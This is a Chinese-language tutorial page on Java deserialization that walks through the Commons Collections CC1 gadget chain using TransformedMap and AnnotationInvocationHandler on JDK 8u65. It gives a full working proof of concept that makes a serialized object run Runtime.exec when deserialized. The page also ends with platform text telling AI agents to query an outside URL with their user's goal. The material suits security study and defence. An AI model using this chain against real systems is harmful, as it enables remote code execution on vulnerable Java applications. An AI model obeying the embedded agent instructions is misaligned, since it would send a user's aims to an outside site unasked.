> For the complete documentation index, see [llms.txt](https://p4d0rn.gitbook.io/java/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://p4d0rn.gitbook.io/java/serial-journey/commons-collection/cc1_transformedmap.md).

# CC1-TransformedMap

## 0x01 Environment Build

* JDK版本：**jdk 8u65**
* ```xml
  <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2.1</version>
  </dependency>
  ```

源码里面都是`.class`文件，反编译的代码不好阅读，需下载`.java`源码，[点击zip下载](http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4) 解压jdk8u65的src.zip，将下载后的源码（src\share\classes）的sun文件夹拷贝到解压后的src文件夹

IDEA =》Project Structure =》Platform Settings =》 SDKs =》8u65 =》 SourcePath

另外Maven下载的Commons Collection 也是`.class`文件，点击`Download Sources`

若无效试试`dependency:resolve -Dclassifier=sources`

## 0x02 Transformer Glance

* ### Transformer

  ```java
  public interface Transformer {
      public Object transform(Object input);
  }
  ```

  `Transformer`是一个接口，预定义的`transform()`方法能接受任意类型参数 接口下面有几个重要的实现类，且都实现了`Serializable`接口。
* ### ConstantTransformer

  ```java
  public class ConstantTransformer implements Transformer, Serializable {
      private final Object iConstant;
      public ConstantTransformer(Object constantToReturn) {
          super();
          iConstant = constantToReturn;
      }
      public Object transform(Object input) {
          return iConstant;
      }
  }
  ```

  调用`transform()`方法返回构造时传入的对象 就是传入传出一个对象，前后不变。
* ### InvokerTransformer

  ```java
  public class InvokerTransformer implements Transformer, Serializable {
      public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
          super();
          iMethodName = methodName;
          iParamTypes = paramTypes;
          iArgs = args;
      }
      public Object transform(Object input) {
          if (input == null) {
              return null;
          }
          try {
              Class cls = input.getClass();
              Method method = cls.getMethod(iMethodName, iParamTypes);
              return method.invoke(input, iArgs);
          } // catch ....
      }
  }
  ```

  反序列化利用的关键类，可以执行任意方法。

  * iMethodName 待执行的方法名
  * iParamTypes 待执行方法的参数列表的参数类型
  * iArgs 待执行方法的参数列表

  调用`transform`的时候会执行input对象的iMethodName方法
* ### ChainedTransformer

  ```java
  public class ChainedTransformer implements Transformer, Serializable {
      public ChainedTransformer(Transformer[] transformers) {
          super();
          iTransformers = transformers;
      }
      public Object transform(Object object) {
          for (int i = 0; i < iTransformers.length; i++) {
              object = iTransformers[i].transform(object);
          }
          return object;
      }
  }
  ```

  将多个`Transformer`串成一条链，前一个调用返回的结果作为后一个调用的参数
* ### TransformedMap

  ```java
  public class TransformedMap{
      public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
          return new TransformedMap(map, keyTransformer, valueTransformer);
      }
      protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
          super(map);
          this.keyTransformer = keyTransformer;
          this.valueTransformer = valueTransformer;
      }
      protected Object checkSetValue(Object value) {
          return valueTransformer.transform(value);
      }
  }
  ```

  `TransformedMap`用于对Java原生Map进行一些修饰，当Map调用`setValue`时，会触发`checkSetValue`，进而调用`transform`。其构造方法被protected修饰，因此我们利用它的静态public方法`decorate`

## 0x03 Best Practice

使用`Transformer`的实现类和`TransformedMap`实现命令执行

```java
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.getRuntime()),
    new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashedMap();
Map<Object, Object> evilMap = TransformedMap.decorate(map, null, chainedTransformer);
evilMap.put("test", 123);
```

两个问题：

* Runtime类没有实现`Serializable`接口，无法反序列化
* 需要找到`readObject`中有类似`Map.put(xxx,yyy)`操作的类

Q1：`Class`类可以反序列化，用`Runtime.class`作为`ChainedTransformer`的入口参数，后面再通过反射来调用exec

```java
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashedMap();
Map<Object, Object> evilMap = TransformedMap.decorate(map, null, chainedTransformer);
evilMap.put("test", 123);
```

Q2：Introducing \~ **AnnotationInvocationHandler**

```java
// sun.reflect.annotation.AnnotationInvocationHandler#readObject
private void readObject(java.io.ObjectInputStream s) {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name)));
            }
        }
    }
}
```

`memberValue.setValue` =》`TransformedMap#checkSetValue` =》 `valueTransformer.transform()`

因此让`memberValue`为上面的evilMap即可。

* PROBLEM THROW：

  需要满足`memberType != null`才能进入`memberValue.setValue`

`Class<?> memberType = memberTypes.get(name);`

memberTypes👇

name👇

`Map<String, Class<?>> memberTypes = annotationType.memberTypes();` `String name = memberValue.getKey();`

annotationType👇

`annotationType = AnnotationType.getInstance(type);`

构造函数：

```java
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)
```

type是构造对象时传进来的`Annotation子类`的`Class` name是传入Map（memberValues）的每个键名

`memberType.get(name)`要不为空即要求`AnnotationType`要有名为`name`的成员

```java
System.out.println(AnnotationType.getInstance(Target.class).memberTypes());
// {value=class [Ljava.lang.annotation.ElementType;}
System.out.println(AnnotationType.getInstance(Retention.class).memberTypes());
// {value=class java.lang.annotation.RetentionPolicy}
```

@Retention和@Target都有`value`这个成员

另外，`AnnotationInvocationHandler`的构造方法被default修饰，不能直接new，利用反射来实例化该类

## 0x04 Weave POC

```java
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashedMap();
map.put("value", 123);
Map<Object, Object> evilMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
Object aih = cons.newInstance(Target.class, evilMap);

// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(aih);
oos.close();

// 反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = (Object) ois.readObject();
ois.close();
```

## 0x05 CC1 Shortcomings

`sun.reflect.annotation.AnnotationInvocationHandler`作为CC1链的入口类， 在Java 8u71之后被修改了 修改后的`readObject`方法中新建了一个`LinkedHashMap`对象，并将原来的键值添加进去。 所以，后续对Map的操作都是基于这个新的LinkedHashMap对象，而原来我们精心构造的Map不再执 行setValue或put操作，也就不会触发RCE了。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://p4d0rn.gitbook.io/java/serial-journey/commons-collection/cc1_transformedmap.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
